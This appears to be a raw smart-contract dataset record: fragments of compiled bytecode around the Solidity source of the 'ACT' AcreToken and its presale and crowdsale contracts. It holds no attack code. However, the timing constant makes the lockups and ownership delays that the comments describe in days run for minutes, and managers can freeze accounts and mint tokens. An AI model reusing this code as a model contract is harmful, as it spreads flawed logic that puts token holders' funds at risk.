600160a01b03169363a9059cbb936044808201949392918390030190829087803b15801561040157600080fd5b6003546001600160a01b031681565b6000546001600160a01b031690565b6002546001600160a01b031681565b60046020526000908152604090205481565b6000546001600160a01b0316331461090d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166109525760405162461bcd60e51b8152600401808060200182810382526026815260200180610a0f6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600082820183811015610a07576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a26469706673582212208c38455082636711b8cf7f84cd088eb2fc84bbddca01b1f977b26e6b8f19b32264736f6c63430007050033
[ 16 ]
0xf31c69c71fc39a936245f8921f81b08d2210591d
pragma solidity 0.4.20; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; assert(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { assert(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; assert(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { assert(b > 0); c = a / b; assert(a == b * c + a % b); } } contract AcreConfig { using SafeMath for uint; uint internal constant TIME_FACTOR = 1 minutes; // Ownable uint internal constant OWNERSHIP_DURATION_TIME = 7; // 7 days // MultiOwnable uint8 internal constant MULTI_OWNER_COUNT = 5; // 5 accounts, exclude master // Lockable uint internal constant LOCKUP_DURATION_TIME = 365; // 365 days // AcreToken string internal constant TOKEN_NAME = "ACT"; string internal constant TOKEN_SYMBOL = "ACT"; uint8 internal constant TOKEN_DECIMALS = 18; uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant CAPITAL_SUPPLY = 4*1e7 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant PRE_PAYMENT_SUPPLY = 995*1e4 * 10 ** uint(TOKEN_DECIMALS); // supply uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply // Sale uint internal constant MIN_ETHER = 1*1e14; // 0.0001 ether uint internal constant EXCHANGE_RATE = 1000000; // 1 eth = 1000000 ACT uint internal constant PRESALE_DURATION_TIME = 15; // 15 days uint internal constant CROWDSALE_DURATION_TIME = 21; // 21 days // helper function getDays(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 days); } function getHours(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 hours); } function getMinutes(uint _time) internal pure returns(uint) { return SafeMath.div(_time, 1 minutes); } } contract Ownable is AcreConfig { address public owner; address public reservedOwner; uint public ownershipDeadline; event logReserveOwnership(address indexed oldOwner, address indexed newOwner); event logConfirmOwnership(address indexed oldOwner, address indexed newOwner); event logCancelOwnership(address indexed oldOwner, address indexed newOwner); modifier onlyOwner { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function reserveOwnership(address newOwner) onlyOwner public returns (bool success) { require(newOwner != address(0)); logReserveOwnership(owner, newOwner); reservedOwner = newOwner; ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR)); return true; } function confirmOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); require(now > ownershipDeadline); logConfirmOwnership(owner, reservedOwner); owner = reservedOwner; reservedOwner = address(0); return true; } function cancelOwnership() onlyOwner public returns (bool success) { require(reservedOwner != address(0)); logCancelOwnership(owner, reservedOwner); reservedOwner = address(0); return true; } } contract MultiOwnable is Ownable { address[] public owners; event logGrantOwners(address indexed owner); event logRevokeOwners(address indexed owner); modifier onlyMutiOwners { require(isExistedOwner(msg.sender)); _; } modifier onlyManagers { require(isManageable(msg.sender)); _; } function MultiOwnable() public { owners.length = MULTI_OWNER_COUNT; } function grantOwners(address _owner) onlyOwner public returns (bool success) { require(!isExistedOwner(_owner)); require(isEmptyOwner()); owners[getEmptyIndex()] = _owner; logGrantOwners(_owner); return true; } function revokeOwners(address _owner) onlyOwner public returns (bool success) { require(isExistedOwner(_owner)); owners[getOwnerIndex(_owner)] = address(0); logRevokeOwners(_owner); return true; } // helper function isManageable(address _owner) internal constant returns (bool) { return isExistedOwner(_owner) || owner == _owner; } function isExistedOwner(address _owner) internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return true; } } } function getOwnerIndex(address _owner) internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == _owner) { return i; } } } function isEmptyOwner() internal constant returns (bool) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return true; } } } function getEmptyIndex() internal constant returns (uint) { for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) { if(owners[i] == address(0)) { return i; } } } } contract Pausable is MultiOwnable { bool public paused = false; event logPause(); event logUnpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } modifier whenConditionalPassing() { if(!isManageable(msg.sender)) { require(!paused); } _; } function pause() onlyManagers whenNotPaused public returns (bool success) { paused = true; logPause(); return true; } function unpause() onlyManagers whenPaused public returns (bool success) { paused = false; logUnpause(); return true; } } contract Lockable is Pausable { mapping (address => uint) public locked; event logLockup(address indexed target, uint startTime, uint deadline); function lockup(address _target) onlyOwner public returns (bool success) { require(!isManageable(_target)); locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR)); logLockup(_target, now, locked[_target]); return true; } // helper function isLockup(address _target) internal constant returns (bool) { if(now <= locked[_target]) return true; } } interface tokenRecipient { function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external; } contract TokenERC20 { using SafeMath for uint; string public name; string public symbol; uint8 public decimals; uint public totalSupply; mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; event logERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply); event logTransfer(address indexed from, address indexed to, uint value); event logTransferFrom(address indexed from, address indexed to, address indexed spender, uint value); event logApproval(address indexed owner, address indexed spender, uint value); function TokenERC20( string _tokenName, string _tokenSymbol, uint8 _tokenDecimals, uint _initialSupply ) public { name = _tokenName; symbol = _tokenSymbol; decimals = _tokenDecimals; totalSupply = _initialSupply; balanceOf[msg.sender] = totalSupply; logERC20Token(msg.sender, name, symbol, decimals, totalSupply); } function _transfer(address _from, address _to, uint _value) internal returns (bool success) { require(_to != address(0)); require(balanceOf[_from] >= _value); require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]); uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]); balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); logTransfer(_from, _to, _value); assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances); return true; } function transfer(address _to, uint _value) public returns (bool success) { return _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); logTransferFrom(_from, _to, msg.sender, _value); return true; } function approve(address _spender, uint _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; logApproval(msg.sender, _spender, _value); return true; } function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract AcreToken is Lockable, TokenERC20 { string public version = '1.0'; address public companyCapital; address public prePayment; uint public totalMineSupply; mapping (address => bool) public frozenAccount; event logFrozenAccount(address indexed target, bool frozen); event logBurn(address indexed owner, uint value); event logMining(address indexed recipient, uint value); event logWithdrawContractToken(address indexed owner, uint value); function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public { require(_companyCapital != address(0)); require(_prePayment != address(0)); companyCapital = _companyCapital; prePayment = _prePayment; transfer(companyCapital, CAPITAL_SUPPLY); transfer(prePayment, PRE_PAYMENT_SUPPLY); lockup(prePayment); pause(); } function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) { require(!frozenAccount[_from]); // freeze require(!frozenAccount[_to]); require(!isLockup(_from)); // lockup require(!isLockup(_to)); return super._transfer(_from, _to, _value); } function transferFrom(address _from, address _to, uint _value) public returns (bool success) { require(!frozenAccount[msg.sender]); // freeze require(!isLockup(msg.sender)); // lockup return super.transferFrom(_from, _to, _value); } function freezeAccount(address _target) onlyManagers public returns (bool success) { require(!isManageable(_target)); require(!frozenAccount[_target]); frozenAccount[_target] = true; logFrozenAccount(_target, true); return true; } function unfreezeAccount(address _target) onlyManagers public returns (bool success) { require(frozenAccount[_target]); frozenAccount[_target] = false; logFrozenAccount(_target, false); return true; } function burn(uint _value) onlyManagers public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); logBurn(msg.sender, _value); return true; } function mining(address _recipient, uint _value) onlyManagers public returns (bool success) { require(_recipient != address(0)); require(!frozenAccount[_recipient]); // freeze require(!isLockup(_recipient)); // lockup require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY); balanceOf[_recipient] = balanceOf[_recipient].add(_value); totalSupply = totalSupply.add(_value); totalMineSupply = totalMineSupply.add(_value); logMining(_recipient, _value); return true; } function withdrawContractToken(uint _value) onlyManagers public returns (bool success) { _transfer(this, msg.sender, _value); logWithdrawContractToken(msg.sender, _value); return true; } function getContractBalanceOf() public constant returns(uint blance) { blance = balanceOf[this]; } function getRemainingMineSupply() public constant returns(uint supply) { supply = MAX_MINING_SUPPLY - totalMineSupply; } function () public { revert(); } } contract AcreSale is MultiOwnable { uint public saleDeadline; uint public startSaleTime; uint public softCapToken; uint public hardCapToken; uint public soldToken; uint public receivedEther; address public sendEther; AcreToken public tokenReward; bool public fundingGoalReached = false; bool public saleOpened = false; Payment public kyc; Payment public refund; Payment public withdrawal; mapping(uint=>address) public indexedFunders; mapping(address => Order) public orders; uint public funderCount; event logStartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline); event logReservedToken(address indexed funder, uint amount, uint token, uint bonusRate); event logWithdrawFunder(address indexed funder, uint value); event logWithdrawContractToken(address indexed owner, uint value); event logCheckGoalReached(uint raisedAmount, uint raisedToken, bool reached); event logCheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState); enum eOrderstate { NONE, KYC, REFUND } struct Order { eOrderstate state; uint paymentEther; uint reservedToken; bool withdrawn; } struct Payment { uint token; uint eth; uint count; } modifier afterSaleDeadline { require(now > saleDeadline); _; } function AcreSale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) public { require(_sendEther != address(0)); require(_addressOfTokenUsedAsReward != address(0)); require(_softCapToken > 0 && _softCapToken <= _hardCapToken); sendEther = _sendEther; softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS); hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS); tokenReward = AcreToken(_addressOfTokenUsedAsReward); } function startSale(uint _durationTime) onlyManagers internal { require(softCapToken > 0 && softCapToken <= hardCapToken); require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this)); require(_durationTime > 0); require(startSaleTime == 0); startSaleTime = now; saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR)); saleOpened = true; logStartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline); } // get function getRemainingSellingTime() public constant returns(uint remainingTime) { if(now <= saleDeadline) { remainingTime = getMinutes(SafeMath.sub(saleDeadline, now)); } } function getRemainingSellingToken() public constant returns(uint remainingToken) { remainingToken = SafeMath.sub(hardCapToken, soldToken); } function getSoftcapReached() public constant returns(bool reachedSoftcap) { reachedSoftcap = soldToken >= softCapToken; } function getContractBalanceOf() public constant returns(uint blance) { blance = tokenReward.balanceOf(this); } function getCurrentBonusRate() public constant returns(uint8 bonusRate); // check function checkGoalReached() onlyManagers afterSaleDeadline public { if(saleOpened) { if(getSoftcapReached()) { fundingGoalReached = true; } saleOpened = false; logCheckGoalReached(receivedEther, soldToken, fundingGoalReached); } } function checkKYC(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.KYC); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.REFUND) { refund.token = refund.token.sub(orders[_funder].reservedToken); refund.eth = refund.eth.sub(orders[_funder].paymentEther); refund.count = refund.count.sub(1); } // state orders[_funder].state = eOrderstate.KYC; kyc.token = kyc.token.add(orders[_funder].reservedToken); kyc.eth = kyc.eth.add(orders[_funder].paymentEther); kyc.count = kyc.count.add(1); logCheckOrderstate(_funder, oldState, eOrderstate.KYC); } function checkRefund(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(orders[_funder].reservedToken > 0); require(orders[_funder].state != eOrderstate.REFUND); require(!orders[_funder].withdrawn); eOrderstate oldState = orders[_funder].state; // old, decrease if(oldState == eOrderstate.KYC) { kyc.token = kyc.token.sub(orders[_funder].reservedToken); kyc.eth = kyc.eth.sub(orders[_funder].paymentEther); kyc.count = kyc.count.sub(1); } // state orders[_funder].state = eOrderstate.REFUND; refund.token = refund.token.add(orders[_funder].reservedToken); refund.eth = refund.eth.add(orders[_funder].paymentEther); refund.count = refund.count.add(1); logCheckOrderstate(_funder, oldState, eOrderstate.REFUND); } // withdraw function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public { require(!saleOpened); require(fundingGoalReached); require(orders[_funder].reservedToken > 0); require(orders[_funder].state == eOrderstate.KYC); require(!orders[_funder].withdrawn); // token tokenReward.transfer(_funder, orders[_funder].reservedToken); withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken); withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther); withdrawal.count = withdrawal.count.add(1); orders[_funder].withdrawn = true; logWithdrawFunder(_funder, orders[_funder].reservedToken); } function withdrawContractToken(uint _value) onlyManagers public { tokenReward.transfer(msg.sender, _value); logWithdrawContractToken(msg.sender, _value); } // payable function () payable public { require(saleOpened); require(now <= saleDeadline); require(MIN_ETHER <= msg.value); uint amount = msg.value; uint curBonusRate = getCurrentBonusRate(); uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE); require(token > 0); require(SafeMath.add(soldToken, token) <= hardCapToken); sendEther.transfer(amount); // funder info if(orders[msg.sender].paymentEther == 0) { indexedFunders[funderCount] = msg.sender; funderCount = funderCount.add(1); orders[msg.sender].state = eOrderstate.NONE; } orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount); orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token); receivedEther = receivedEther.add(amount); soldToken = soldToken.add(token); logReservedToken(msg.sender, amount, token, curBonusRate); } } contract AcrePresale is AcreSale { function AcrePresale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startPresale() onlyManagers public { startSale(PRESALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; } // 8days else { bonusRate = 0; } // } } contract AcreCrowdsale is AcreSale { function AcreCrowdsale( address _sendEther, uint _softCapToken, uint _hardCapToken, AcreToken _addressOfTokenUsedAsReward ) AcreSale( _sendEther, _softCapToken, _hardCapToken, _addressOfTokenUsedAsReward) public { } function startCrowdsale() onlyManagers public { startSale(CROWDSALE_DURATION_TIME); } function getCurrentBonusRate() public constant returns(uint8 bonusRate) { if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(14, TIME_FACTOR))) { bonusRate = 15; } // 7days else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(21, TIME_FACTOR))) { bonusRate = 10; } // 7days else { bonusRate = 0; } // } }
0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c27146101d257806306fdde0314610235578063095ea7b3146102c35780630df19d351461031d57806317c201a11461036e57806318160ddd146103975780631c58c3ff146103c057806323b872dd146103e957806325ba082414610462578063313ce567146104b357806335e04fab146104e25780633f4ba83a1461053757806342966c68146105645780634e2808da1461059f57806354fd4d50146105cc5780635c975abb1461065a57806370a08231146106875780637493357b146106d4578063788649ea146107295780638456cb591461077a5780638bec5b31146107a75780638da5cb5b146107f857806395d89b411461084d5780639b7e5531146108db5780639ef7e72314610904578063a9059cbb1461093f578063afd7b21e14610999578063b414d4b6146109ee578063bf48780114610a3f578063bf88fc0914610a68578063c4dcad1d14610ab9578063cae9ca5114610b13578063cbf9fe5f14610bb0578063d5d1e77014610bfd578063dd62ed3e14610c2a578063f26c159f14610c96575b34156101cd57600080fd5b600080fd5b34156101dd57600080fd5b6101f36004808035906020019091905050610ce7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561024057600080fd5b610248610d26565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102ce57600080fd5b610303600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610dc4565b604051808215151515815260200191505060405180910390f35b341561032857600080fd5b610354600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610eb6565b604051808215151515815260200191505060405180910390f35b341561037957600080fd5b61038161101f565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa611038565b6040518082815260200191505060405180910390f35b34156103cb57600080fd5b6103d361103e565b6040518082815260200191505060405180910390f35b34156103f457600080fd5b610448600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611044565b604051808215151515815260200191505060405180910390f35b341561046d57600080fd5b610499600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110c8565b604051808215151515815260200191505060405180910390f35b34156104be57600080fd5b6104c66111f9565b604051808260ff1660ff16815260200191505060405180910390f35b34156104ed57600080fd5b6104f561120c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561054257600080fd5b61054a611232565b604051808215151515815260200191505060405180910390f35b341561056f57600080fd5b61058560048080359060200190919050506112b1565b604051808215151515815260200191505060405180910390f35b34156105aa57600080fd5b6105b261141c565b604051808215151515815260200191505060405180910390f35b34156105d757600080fd5b6105df6115bd565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561061f578082015181840152602081019050610604565b50505050905090810190601f16801561064c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561066557600080fd5b61066d61165b565b604051808215151515815260200191505060405180910390f35b341561069257600080fd5b6106be600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061166e565b6040518082815260200191505060405180910390f35b34156106df57600080fd5b6106e7611686565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561073457600080fd5b610760600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506116ac565b604051808215151515815260200191505060405180910390f35b341561078557600080fd5b61078d6117ce565b604051808215151515815260200191505060405180910390f35b34156107b257600080fd5b6107de600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061184e565b604051808215151515815260200191505060405180910390f35b341561080357600080fd5b61080b6119c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561085857600080fd5b6108606119ec565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156108a0578082015181840152602081019050610885565b50505050905090810190601f1680156108cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156108e657600080fd5b6108ee611a8a565b6040518082815260200191505060405180910390f35b341561090f57600080fd5b6109256004808035906020019091905050611a90565b604051808215151515815260200191505060405180910390f35b341561094a57600080fd5b61097f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b09565b604051808215151515815260200191505060405180910390f35b34156109a457600080fd5b6109ac611b1e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109f957600080fd5b610a25600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b44565b604051808215151515815260200191505060405180910390f35b3415610a4a57600080fd5b610a52611b64565b6040518082815260200191505060405180910390f35b3415610a7357600080fd5b610a9f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611bab565b604051808215151515815260200191505060405180910390f35b3415610ac457600080fd5b610af9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611cca565b604051808215151515815260200191505060405180910390f35b3415610b1e57600080fd5b610b96600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611ed4565b604051808215151515815260200191505060405180910390f35b3415610bbb57600080fd5b610be7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612052565b6040518082815260200191505060405180910390f35b3415610c0857600080fd5b610c1061206a565b604051808215151515815260200191505060405180910390f35b3415610c3557600080fd5b610c80600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061227d565b6040518082815260200191505060405180910390f35b3415610ca157600080fd5b610ccd600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122a2565b604051808215151515815260200191505060405180910390f35b600381815481101515610cf657fe5b90600052602060002090016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610dbc5780601f10610d9157610100808354040283529160200191610dbc565b820191906000526020600020905b815481529060010190602001808311610d9f57829003601f168201915b505050505081565b600081600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167ffb438b8b5a209d35ae02fd61cdc8236691b158fa6c3bb027871eeb4005aff6a9846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1357600080fd5b610f1c826123da565b151515610f2857600080fd5b610f3e42610f3961016d603c612443565b612471565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f13c84e7e5c5e41a653ee83abf1cc0a1607c9d20ecb554832382e61cdf9215a9a42600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808381526020018281526020019250505060405180910390a260019050919050565b6000600f54601260ff16600a0a6317d784000203905090565b60095481565b600f5481565b6000601060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561109f57600080fd5b6110a83361248a565b1515156110b457600080fd5b6110bf8484846124e3565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561112557600080fd5b61112e82612712565b15151561113a57600080fd5b6111426127b5565b151561114d57600080fd5b816003611158612857565b81548110151561116457fe5b906000526020600020900160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff167f8f9fbfe40c1b19a4188c3e47cac005cd75f0e74bd7e5101b29fc2bf256a17e7960405160405180910390a260019050919050565b600860009054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061123d336123da565b151561124857600080fd5b600460009054906101000a900460ff16151561126357600080fd5b6000600460006101000a81548160ff0219169083151502179055507fccf01e1204d52ef32add3e8d30633b65c300834f20e6b94ae8982cd717a832dc60405160405180910390a16001905090565b60006112bc336123da565b15156112c757600080fd5b81600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561131557600080fd5b61136782600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128fb90919063ffffffff16565b600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113bf826009546128fb90919063ffffffff16565b6009819055503373ffffffffffffffffffffffffffffffffffffffff167f9641ae568641b2d48e9c41e1d64a8ca10ca56cdfc247a5a2f14cfb70af620b50836040518082815260200191505060405180910390a260019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156114d757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f79237486c2354fc0c561f08e5671b784dbbf0cbf122349cf28e7308136526dae60405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001905090565b600c8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116535780601f1061162857610100808354040283529160200191611653565b820191906000526020600020905b81548152906001019060200180831161163657829003601f168201915b505050505081565b600460009054906101000a900460ff1681565b600a6020528060005260406000206000915090505481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006116b7336123da565b15156116c257600080fd5b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561171a57600080fd5b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f5ddadbfb5e5a8af3a12e5a94f0ab739b0a1ebf2bcff72c4230f44234b752feae6000604051808215151515815260200191505060405180910390a260019050919050565b60006117d9336123da565b15156117e457600080fd5b600460009054906101000a900460ff1615151561180057600080fd5b6001600460006101000a81548160ff0219169083151502179055507fd8190a2ce0d6dcda1ae8f96bd08ee72ea15c7e241a0f241908038138c9a3b9e060405160405180910390a16001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ab57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156118e757600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb924308dae7985345e5cc02c5f052e63e1deb61975088d10c84db131117e3db060405160405180910390a381600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506119b8426119b36007603c612443565b612471565b60028190555060019050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a825780601f10611a5757610100808354040283529160200191611a82565b820191906000526020600020905b815481529060010190602001808311611a6557829003601f168201915b505050505081565b60025481565b6000611a9b336123da565b1515611aa657600080fd5b611ab1303384612914565b503373ffffffffffffffffffffffffffffffffffffffff167f511ccee1be7622147d7a336f4933782955abf82fdc7ab027a6c59b9d815f4b2f836040518082815260200191505060405180910390a260019050919050565b6000611b16338484612914565b905092915050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b6000600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c0857600080fd5b611c1182612712565b1515611c1c57600080fd5b60006003611c2984612a32565b8154811015